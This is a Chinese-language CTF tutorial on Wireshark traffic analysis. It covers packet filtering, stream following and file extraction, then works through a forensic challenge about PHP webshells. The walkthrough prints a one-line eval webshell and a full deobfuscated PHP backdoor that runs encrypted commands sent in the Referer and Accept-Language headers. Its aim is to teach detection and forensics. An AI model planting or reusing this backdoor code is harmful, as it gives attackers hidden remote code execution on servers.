Wireshark流量分析

目录

1.基本介绍

2.基本使用

1)数据包筛选:

2)筛选ip:

3)数据包还原

4)数据提取

3.wireshark实例


1.基本介绍

在CTF比赛中,对于流量包的分析取证是一种十分重要的题型。通常这类题目都是会提供一个包含流量数据的pcap文件,参赛选手通过该文件筛选和过滤其中无关的流量信息,根据关键流量信息找出flag或者相关线索。

pcap流量包的分析通常都是通过图形化的网络嗅探器------wireshark进行的,这款嗅探器经过众多开发者的不断完善,现在已经成为使用最为广泛的安全工具之一。接下来,斗哥来为大家讲解这款工具的基本使用。

2.基本使用

Wireshark的基本使用分为数据包筛选、数据包搜索、数据包还原、数据提取四个部分。

1)数据包筛选:

数据包筛选功能是wireshark的核心功能,比如需要筛选出特定的协议如HTTP,Telnet等,也可能需要筛选出ip地址,端口等。

2)筛选ip:

●源ip筛选

输入命令:ip.src == 地址

3)数据包还原

在wireshark中,存在一个交追踪流的功能,可以将HTTP或TCP流量集合在一起并还原成原始数据,具体操作方式如下:

选中想要还原的流量包,右键选中,选择追踪流 -- TCP流/UPD流/SSL流/HTTP流。

可在弹出的窗口中看到被还原的流量信息

4)数据提取

Wireshark支持提取通过http传输(上传/下载)的文件内容,方法如下:

菜刀下载文件的流量,需要删除分组字节流前开头和结尾的X@Y字符,否则下载的文件会出错。鼠标右键点击 -- 选中 显示分组字节...

在弹出的窗口中设置开始和结束的字节(原字节数开头加3,结尾减3)

最后点击save as按钮导出。

导出结果:

3.wireshark实例

题目要求:

1.黑客第一次获得的php木马的密码是什么

2.黑客第二次上传php木马是什么时间

3.第二次上传的木马通过HTTP协议中的哪个头传递数据

题目要求php木马的密码,首先我们要知道php一句话木马一般都是POST请求

所以我们直接过滤POST请求,发现这个IP请求了一个名为kkkaaa.php的php文件,很可疑

正常文件不会以此命名的, 打开数据包看一下,发现了这个字段

Form item: "zzz" = "@eval(base64_decode($_POSTz0));"

上传的木马应该是:<?php eval($_POST'zzz');?>

又将eval(base64_decode($_POSTz0));传入zzz参数,目的是将z0传入的数据进行base64的解码此时z0传入base64编码后的数据,便可以执行恶意代码解码后发现执行了dirname函数,目的是查看当前路径下的文件或目录,类似linux下的ls命令

PHP代码是通过混淆过的,让我们根本看不懂他的代码

还原后的代码:

php 复制代码
<?php
$kh = "cb42";
$kf = "e130";
function x($t, $k)
{
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for ($i = 0; $i < $l;) {
        for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
            $o .= $t{$i} ^ $k{$j};
        }
    }
    return $o;
}
 
$r = $_SERVER;
$rr = @$r["HTTP_REFERER"];
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];
if ($rr && $ra) {
    $u = parse_url($rr);
    parse_str($u["query"], $q);
    $q = array_values($q);
    preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);
    if ($q && $m) {
        @session_start();
        $s =& $_SESSION;
        $ss = "substr";
        $sl = "strtolower";
        $i = $m[1][0] . $m[1][4];
        $h = $sl($ss(md5($i . $kh), 0, 3));
        $f = $sl($ss(md5($i . $kf), 0, 3));
        $p = "";
        for ($z = 1; $z < count($m[1]); $z++) $p .= $q[$m[2][$z]];
        if (strpos($p, $h) === 0) {
            $s[$i] = "";
            $p = $ss($p, 3);
        }
        if (array_key_exists($i, $s)) {
            $s[$i] .= $p;
            $e = strpos($s[$i], $f);
            if ($e) {
                $k = $kh . $kf;
                ob_start();
                @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));
                $o = ob_get_contents();
                ob_end_clean();
                $d = base64_encode(x(gzcompress($o), $k));
                print("<$k>$d</$k>");
                @session_destroy();
            }
        }
    }
}
?>

这个函数在8.0已经被移除,并且和eval()函数有同样的安全隐患

木马要利用,就必然会与数据包进行交互,仔细看看这两行代码

php 复制代码
$rr = @$r["HTTP_REFERER"];
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];

获取http请求中的referer和accept_language字段的,与数据包产生了交互,所以可以基本断定这两个字段是黑客用来传输他想执行的命令的.我们随便看一个访问footer.php的包

所以木马通过HTTP协议中的referer头传递数据

相关推荐
ysa05103019 小时前
【板子】Dinic(最大网络流)
网络
我星期八休息19 小时前
网络编程—应用层HTTP协议
linux·运维·开发语言·前端·网络·网络协议·http
ITxiaobing202321 小时前
IP库与AppsFlyer数据对账指南:破解国家/地区数据不一致的难题
网络·网络协议
有浔则灵21 小时前
GORM钩子函数详解
网络·安全·web安全
汇智信科1 天前
图谱、向量、关键词、SQL多路一体,FastKG垂域召回率100%拉满
网络·数据库·ai编程·汇智信科·hsim·fastclaw·汇智龙虾
liulilittle1 天前
论分布式系统的半开闭问题
服务器·网络·分布式·系统架构·竞态
FreeBuf_1 天前
仅用六分钟,黑客借助Gemini CLI自主构建并迁移C&C僵尸网络
网络·人工智能
cyforkk1 天前
Vercel 绑定自定义域名极简配置指南
服务器·前端·网络
Yang96111 天前
探索无线新视界:鼎讯信通DXMP系列频谱仪模块深度剖析
运维·网络
进阶的猪1 天前
【无标题】vmware虚拟机无法勾选**将主机虚拟适配器连接到此网络** /没有网络(不显示网络图标)的解决方法
网络